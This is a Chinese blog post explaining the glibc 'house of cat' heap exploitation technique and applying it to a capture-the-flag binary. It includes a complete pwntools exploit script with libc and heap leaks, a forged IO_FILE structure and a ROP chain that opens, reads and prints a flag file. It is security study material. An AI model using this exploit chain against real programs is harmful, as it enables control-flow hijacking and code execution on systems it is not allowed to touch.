• 常回家看看之house_of_cat


    house_of_cat

    前言:

    house of cat 这个利用手法和前面提到的 house of kiwi ,和 house of emma 利用的手法是一个链子,当程序无法通过main函数返回时候,或者程序不能显性调用exit函数的时候,我们可以通过 __malloc_assert 来刷新IO流,当然这个函数在2.35之后移除了刷新IO流,最后在2.37彻底移除。

    house of cat 和 house of emma 一样修改 vtable表,但是不同的是,house of emma 使用的函数是 _IO_cookie_read来进行跳转,而hosue of cat使用的是_IO_wfile_seekoff来进行函数调用的,这个函数存在 _IO_wfile_jumps中,我们看看它的源码

    1. _IO_wfile_seekoff (FILE *fp, off64_t offset, int dir, int mode)
    2. {
    3. off64_t result;
    4. off64_t delta, new_offset;
    5. long int count;
    6. if (mode == 0)
    7. return do_ftell_wide (fp);
    8. ......
    9. bool was_writing = ((fp->_wide_data->_IO_write_ptr
    10. > fp->_wide_data->_IO_write_base)
    11. || _IO_in_put_mode (fp));
    12. if (was_writing && _IO_switch_to_wget_mode (fp))
    13. return WEOF;
    14. ......
    15. }

    发现它会在满足条件的情况下调用 _IO_switch_to_wget_mode 函数,我们继续跟进,查看源码

    1. _IO_switch_to_wget_mode (FILE *fp)
    2. {
    3. if (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base)
    4. if ((wint_t)_IO_WOVERFLOW (fp, WEOF) == WEOF)
    5. return EOF;
    6. ......
    7. }

    它会在满足条件的情况下调用 _IO_WOVERFLOW,但是需要满足情况,需要满足fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base 这个条件。因为这个 _IO_WOVERFLOW 函数是通过 _wide_data->_wide_vtable 中所存放的函数指针进行跳转的, 但是_wide_vtable 是我们可控的,从而在这里可以劫持程序的执行流。

    看看完整的调用链__malloc_assert-> __fxprintf->__vfxprintf->locked_vfxprintf->__vfprintf_internal->_IO_wfile_seekoff->_IO_switch_to_wget_mode->setcontext->orw

    调用我们伪造的vtable

    满足条件进行调用_IO_switch_to_wget_mode 函数

    继续步入,注意这里rax的变化

    这里已经修改过rax+0x18处的地址

    继续劫持rdx+0xa0 和rdx+0xa8达到劫持程流序到堆块上(如果没有开沙箱可以之间system("/bin/sh")拿shell。

    例题

    题目链接:
    链接:https://pan.baidu.com/s/1BIOPCJ_nVxN1iWy_m-yWJg?pwd=c7qv 
    提取码:c7qv

    题目一上来是有检查的,但是我们重心放在house of cat ,这里检查直接给出

    登录的时候需要输入 LOGIN | r00t QWB QWXFadmin,在每次堆块操作的时候需要输入CAT | r00t QWB QWXF$\xff 来通过检查

    add函数有大小限制,通过calloc来分配

    edit函数不能越界,只能使用两次,每次输入0x30字节

    free函数存在UAF漏洞

    show 函数打印0x30字节数据,没有截断

    程序还开了沙箱只能orw,而且read的第一个参数必须是0,那么就是要先要关闭文件描述符0,然后再次使用read

    那么思路很明显,通过largebin 来一次泄露libc地址和堆块地址,然后两次edit,第一个修改stderr结构体(以为malloc_assert会调用stderr来输出报错信息),第二次修改top_chunk来修改size来触发 _malloc_assert,那么这里就要注意了伪造结构结构体时候一定要注意布局还有它们之间的调用关系

    EXP:

    1. from gt import *
    2. con("amd64")
    3. io = process("./houseofcat")
    4. libc = ELF("/home/su/glibc-all-in-one/libs/2.35-0ubuntu3_amd64/libc-2.35.so")
    5. #gdb.attach(io)
    6. io.sendafter("mew mew mew~~~~~~\n","LOGIN | r00t QWB QWXFadmin")
    7. def add(index,size,msg='\x00'):
    8. io.sendafter("mew mew mew~~~~~~\n","CAT | r00t QWB QWXF$\xff")
    9. io.sendlineafter("choice:\n","1")
    10. io.sendlineafter("cat idx:\n",str(index))
    11. io.sendlineafter("cat size:\n",str(size))
    12. io.sendafter("your content:\n",msg)
    13. def free(index):
    14. io.sendafter("mew mew mew~~~~~~\n","CAT | r00t QWB QWXF$\xff")
    15. io.sendlineafter("choice:\n","2")
    16. io.sendlineafter("cat idx:\n",str(index))
    17. def show(index):
    18. io.sendafter("mew mew mew~~~~~~\n","CAT | r00t QWB QWXF$\xff")
    19. io.sendlineafter("choice:\n","3")
    20. io.sendlineafter("cat idx:\n",str(index))
    21. def edit(index,msg):
    22. io.sendafter("mew mew mew~~~~~~\n","CAT | r00t QWB QWXF$\xff")
    23. io.sendlineafter("choice:\n","4")
    24. io.sendlineafter("cat idx:\n",str(index))
    25. io.sendafter("your content:\n",msg)
    26. add(0,0x420) #0
    27. add(1,0x430) #1
    28. add(2,0x418) #2
    29. free(0)
    30. add(3,0x430) #4
    31. show(0)
    32. io.recvuntil("Context:\n")
    33. libc_base = u64(io.recv(8))-0x21a0d0
    34. suc("libc_base",libc_base)
    35. io.recv(8)
    36. heap_base = u64(io.recv(6).ljust(8,b'\x00')) -0x290
    37. suc("heap_base",heap_base)
    38. setcontext = libc_base + libc.sym["setcontext"]
    39. read = libc_base + libc.sym["read"]
    40. write = libc_base + libc.sym["write"]
    41. pop_rax = libc_base + 0x0000000000045eb0#: pop rax; ret;
    42. pop_rdi = libc_base + 0x000000000002a3e5#: pop rdi; ret;
    43. pop_rsi = libc_base + 0x000000000002be51#: pop rsi; ret;
    44. pop_rdx_r12 = libc_base + 0x000000000011f497#: pop rdx; pop r12; ret;
    45. lv = libc_base + 0x00000000000562ec#: leave; ret;
    46. stderr = libc_base + libc.sym['stderr']
    47. close = libc_base + libc.sym["close"]
    48. syscall = libc_base + 0x0000000000091396#: syscall; ret;
    49. _IO_wfile_jumps = libc_base + 0x2160c0
    50. flag_addr = heap_base + 0xb00 + 0x230
    51. orw = flat(pop_rdi ,0 , close)
    52. orw += flat(pop_rdi,flag_addr,pop_rsi,0,pop_rax,2,syscall)
    53. orw += flat(pop_rdi,0,pop_rsi,heap_base + 0x500,pop_rdx_r12,0x30,0,read)
    54. orw += flat(pop_rdi,1,pop_rsi,heap_base + 0x500,pop_rdx_r12,0x30,0,write)
    55. orw += b'flag\x00\x00\x00\x00' + p64(0xdeadbeef)
    56. fake_io_addr = heap_base + 0xb00
    57. fake_IO_FILE =p64(0)*6
    58. fake_IO_FILE +=p64(1)+p64(0)
    59. fake_IO_FILE +=p64(fake_io_addr+0xb0)#_IO_backup_base=rdx -----> setcontext + 61
    60. fake_IO_FILE +=p64(setcontext+0x3d)#_IO_save_end=call addr rax+0x58
    61. fake_IO_FILE =fake_IO_FILE.ljust(0x58,b'\x00')
    62. fake_IO_FILE +=p64(0) # _chain
    63. fake_IO_FILE =fake_IO_FILE.ljust(0x78,b'\x00')
    64. fake_IO_FILE += p64(heap_base+0x200) # _lock = writable address
    65. fake_IO_FILE = fake_IO_FILE.ljust(0x90,b'\x00')
    66. fake_IO_FILE +=p64(heap_base+0xb30) #rax1
    67. fake_IO_FILE = fake_IO_FILE.ljust(0xB0,b'\x00')
    68. fake_IO_FILE += p64(0)
    69. fake_IO_FILE = fake_IO_FILE.ljust(0xC8,b'\x00')
    70. fake_IO_FILE += p64(libc_base+0x2160c0+0x10) # vtable=_IO_wfile_jumps+0x10
    71. fake_IO_FILE += p64(0) *6
    72. fake_IO_FILE += p64(fake_io_addr + 0x40) #rax2+0xe0
    73. fake_IO_FILE += p64(0) * 7 + p64(fake_io_addr + 0x160) + p64(pop_rdi+1) #rdx + 0xa0 , 0xa8
    74. fake_IO_FILE += orw
    75. free(2)
    76. payload = p64(libc_base+0x21a0d0)*2 +p64(heap_base+0x290) + p64(stderr - 0x20)
    77. add(6,0x418,fake_IO_FILE)
    78. edit(0,payload)
    79. free(6)
    80. add(4,0x430)
    81. #gdb.attach(io)
    82. add(5,0x440) #large
    83. add(7,0x430)
    84. add(8,0x430) #unsort
    85. free(5)
    86. add(9,0x450)
    87. top_chunk = heap_base + 0x28d0
    88. payload = p64(libc_base+0x21a0e0)*2 +p64(heap_base+0x17a0) + p64(top_chunk+3 - 0x20)
    89. edit(5,payload)
    90. free(8)
    91. #add(10,0x460)
    92. #gdb.attach(io)
    93. io.sendafter("mew mew mew~~~~~~\n","CAT | r00t QWB QWXF$\xff")
    94. io.sendlineafter('plz input your cat choice:\n',str(1))
    95. io.sendlineafter('plz input your cat idx:',str(11))
    96. gdb.attach(io,'b* (_IO_wfile_seekoff)')
    97. #gdb.attach(io)
    98. io.sendlineafter('plz input your cat size:',str(0x450))
    99. io.interactive()

    分析一下伪造的IO

    1. fake_io_addr = heap_base + 0xb00
    2. fake_IO_FILE =p64(0)*6
    3. fake_IO_FILE +=p64(1)+p64(0) #这里为了绕过检查
    4. fake_IO_FILE +=p64(fake_io_addr+0xb0)#_IO_backup_base=rdx 这里是rdx
    5. fake_IO_FILE +=p64(setcontext+0x3d)#_IO_save_end=call addr 这里是rax + 0x18的位置
    6. fake_IO_FILE =fake_IO_FILE.ljust(0x58,b'\x00')
    7. fake_IO_FILE +=p64(0) # _chain
    8. fake_IO_FILE =fake_IO_FILE.ljust(0x78,b'\x00')
    9. fake_IO_FILE += p64(heap_base+0x200) # _lock = writable address
    10. fake_IO_FILE = fake_IO_FILE.ljust(0x90,b'\x00')
    11. fake_IO_FILE +=p64(heap_base+0xb30) #rax1 0x90位置为第一次的rax (rax+0xa0
    12. fake_IO_FILE = fake_IO_FILE.ljust(0xB0,b'\x00')
    13. fake_IO_FILE += p64(0)
    14. fake_IO_FILE = fake_IO_FILE.ljust(0xC8,b'\x00')
    15. fake_IO_FILE += p64(libc_base+0x2160c0+0x10) # vtable=_IO_wfile_jumps+0x10
    16. fake_IO_FILE += p64(0) *6
    17. fake_IO_FILE += p64(fake_io_addr + 0x40) #rax2+0xe0
    18. fake_IO_FILE += p64(0) * 7 + p64(fake_io_addr + 0x160) + p64(pop_rdi+1) #rdx + 0xa0 , 0xa8
    19. fake_IO_FILE += orw

     最后执行效果

  • 相关阅读:
    Azure AD功能一览(访问篇)
    自注意力(Self-Attention)与Multi-Head Attention机制详解
    工作流引擎笔记 20230927
    基于深度学习初始位姿估计的机器人摄影测量视点规划
    【Docker1】指令,docker-compose,Dockerfile
    使用Visual Studio Code远程开发、调试fortran
    【附源码】Python计算机毕业设计网上购物系统
    java计算机毕业设计服装连锁店后台管理系统源码+mysql数据库+系统+lw文档+部署
    新书速览|HTML+CSS+JavaScript+Bootstrap渐进式Web开发入门与实践
    多线程案例
  • 原文地址:https://blog.csdn.net/susu_xiaosu/article/details/142301919